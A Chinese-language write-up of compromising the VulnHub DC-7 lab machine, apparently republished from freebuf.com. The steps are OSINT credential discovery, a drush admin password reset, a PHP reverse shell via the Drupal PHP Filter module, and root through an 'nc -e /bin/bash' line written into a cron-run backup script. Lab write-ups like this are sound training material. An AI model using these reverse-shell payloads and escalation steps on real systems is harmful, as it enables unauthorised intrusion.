VulnHub DC 7入侵实战 – 作者:FFFcaptain328

基本配置

靶机是从VulnHub上下载的DC 7:

1604213851_5f9e5c5b868d1c022aaf2.png!small?1604213850392

攻击机使用的是Kali2020.3,网络设置:

1604213856_5f9e5c6024251ea159fcc.png!small?1604213855112

信息搜集

先扫描一下虚拟网段192.168.187.0/24:

1604213860_5f9e5c64461b446ce7850.png!small?1604213859140

发现目标192.168.187.140,进一步扫描:

1604213865_5f9e5c6912b3ab8c83d80.png!small?1604213864064

没有更多的收获,那接下来先访问一下把:

1604213870_5f9e5c6e4d1298b0d1a8b.png!small?1604213869124

1604213874_5f9e5c72615e14c2669d4.png!small?1604213873285

是熟悉的Drupal作为CMS。作者在首页的话让我有点摸不着头脑,网上搜了搜发现线索在左下角的DC7USER上,google一下:

1604213892_5f9e5c84429662b2aa6c8.png!small?1604213891093

发现一个GitHub账号:

1604213879_5f9e5c776859c3e3cf98d.png!small?1604213878322

打开这个仓库:

1604213896_5f9e5c88a944a52ffd42e.png!small?1604213895498

这里还真的有线索,在config.php这个文件里直接就是用户名和密码:

1604213901_5f9e5c8d355a65534586e.png!small?1604213900079

进入靶机

先试试用刚刚在github得到的用户名和密码能不能登录网站:

1604213907_5f9e5c93003c1567c75af.png!small?1604213905872

很遗憾并不可以。那再试试可不可以登录SSH:

1604213911_5f9e5c97bf3dc50f1cbf7.png!small?1604213910674

成功登录!

MySQL数据库的线索

根据drupal的设置,在 /var/www/html/sites/default 下的settings.php文件中找到数据库设置:

$databases['default']['default'] = array (
'database' => 'd7db',
'username' => 'db7user',
'password' => 'yNv3Po00',
'prefix' => '',
'host' => 'localhost',
'port' => '',
'namespace' => 'Drupal\\Core\\Database\\Driver\\mysql',
'driver' => 'mysql',
);

那么接下来再登陆一下mysql数据库:

1604213921_5f9e5ca1b2828236be4c9.png!small?1604213920663

1604213925_5f9e5ca5d4cc5c61c7051.png!small?1604213924678

在d7db数据库中找到了存放用户数据的users_field_data表:

1604213930_5f9e5caa3f3913a43d3b4.png!small?1604213929208

先试试能不能更改这个表:

update users_field_data set name="dc7user" where uid=2;

1604213934_5f9e5cae710a42466ddaf.png!small?1604213933301

竟然没有权限受限?那接下来要做的就是和 DC 1 中类似,前往 /var/www/html/core/scripts 目录下找到计算密码哈希值的脚本password-hash.sh,为admin设置一个新密码:

1604213940_5f9e5cb4a034730d715d7.png!small?1604213939521

再回头更新表。更新之后登录,发现问题,这次好像登陆不了?暂时不清楚原因,这个想法只能先搁置了。

邮件的线索

在数据库这里碰了壁,但也不算一无所获,至少知道了admin账户的存在,那么接下来还是先到/home目录下寻找线索:

1604213949_5f9e5cbd9b86af028faac.png!small?1604213948459

mbox应该是一些邮件,稍后再看。而backups目录下有两个被gpg加密了的文件,很神秘。

一时看不出什么线索,就打开mbox看一下邮件吧:

1604213953_5f9e5cc18eea36ed9bed3.png!small?1604213952567

一封一封地看下来,可以看到这是root用户每15分钟就操作一次 /opt/scripts/backups.sh 脚本的记录,阅读完这些邮件,再次到/var/mail目录下看看有没有更多的邮件:

1604213957_5f9e5cc5dd964fb643079.png!small?1604213956730

1604213962_5f9e5cca67086b9f017b2.png!small?1604213961426

这些邮件似乎是今天刚刚发来的(时间不知道对准的是哪个时区),说明运行这个脚本是一个定时的任务,而且还是以管理员权限运行,要是能够编辑这个脚本,那么就可以得到管理员的权限。

那么下面就要来看看这个脚本的内容:

1604213966_5f9e5ccec25d961171156.png!small?1604213965674

首先可以确定,这个脚本文件的所有者是root,但是www-data组内的用户同样有读写执行该脚本的权限,其他用户就只有读的权限。

这是一个好消息,只要我能够退一步拿到www-data的权限,我就可以在这个backups.sh脚本中写入我想要执行的命令以root权限来执行。而想要做到这一点,首先想到的便是通过网站回弹一个shell。于是问题又回到了登录网站管理员admin的账号上。

这时注意到脚本中有一个没见过的命令drush,查了一下发现这是一个drupal的命令行管理工具。既然是管理工具,那么应该具有用户管理的功能,果不其然,在官网上搜到了可以更改特定用户密码的指令:

1604213988_5f9e5ce44d34f630db88b.png!small?1604213987248

https://www.drush.org/commands/10.x/user_password

根据指示,来到服务器根目录更改admin的密码:

drush user-password admin --password=12345

用新的密码登录admin:

1604213994_5f9e5cea4f6fa318f731b.png!small?1604213993124

登陆成功。

提权

登录之后,为了能够回弹shell,先看看能不能创建一个脚本:

1604213999_5f9e5cef793d3d175b17a.png!small?1604213998327

结果在add content界面只能添加静态的页面。

但是所幸之前在查关于joomla的资料时便了解到,Drupal可以通过安装扩展的方式支持php脚本,现在就去安装一个。

来到Extend页面下选择安装新module:

1604214005_5f9e5cf5d5bcd2a6ec770.png!small?1604214004725

去官网下载一个Drupal的PHP插件https://www.drupal.org/project/php,使用tar压缩包进行导入:

1604214011_5f9e5cfbece529573ff82.png!small?1604214010819

选择启用新的模块:

1604214016_5f9e5d002df707190de50.png!small?1604214015020

回到Extend页面安装PHP Filter :

1604214021_5f9e5d05037eaf284f72b.png!small?1604214019935

1604214025_5f9e5d09451744b56a0c0.png!small?1604214024096

安装完成后就前往编辑一个php脚本:

// getshell.php脚本
<?php
system("nc -e /bin/bash 192.168.187.130 4444");
?>

打开新的终端监听4444端口:

nc -lvp 4444

访问getshell页面即可得到shell,python重新导入一下得到交互式shell:

1604214032_5f9e5d104ac2995b6ddd5.png!small?1604214031135

现在拿到www-data的权限后只剩最后一件事,那就是去更改哪个backups.sh脚本,使其向Kali反弹root权限的shell:

echo nc -e /bin/bash 192.168.187.130 6666 > backups.sh
cat backups.sh

1604214037_5f9e5d1512f3dfb2fc24d.png!small?1604214035984

最后,在Kali上打开6666端口监听,不超过15分钟后(因为执行的周期是15分钟),就可以获得Shell:

1604214042_5f9e5d1a257093cf11b0f.png!small?1604214040973

来到/root目录下,得到flag:

1604214048_5f9e5d2041994c8b230a7.png!small?1604214047113

总结

这次入侵的过程我认为最有意思的在第一步,这一步告诉了我渗透一个目标,不仅要从技术上搜集信息,也要从其他相关联的非技术的方向进行考虑。

学习到的知识:

  • 利用社会工程学进行信息收集(?)

  • 更加熟悉了Drupal组织内容的方式

  • nc反弹shell更加熟练

  • 熟悉了简单PHP脚本的编写

尚有欠缺的知识:

  • 对Linux权限管理不是很熟,在看到backups.sh的权限时一下子没有反应过来

  • 我用php语言只能写很简单的东西,可以稍微多学习一点

来源:freebuf.com 2020-11-01 15:02:06 by: FFFcaptain328

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论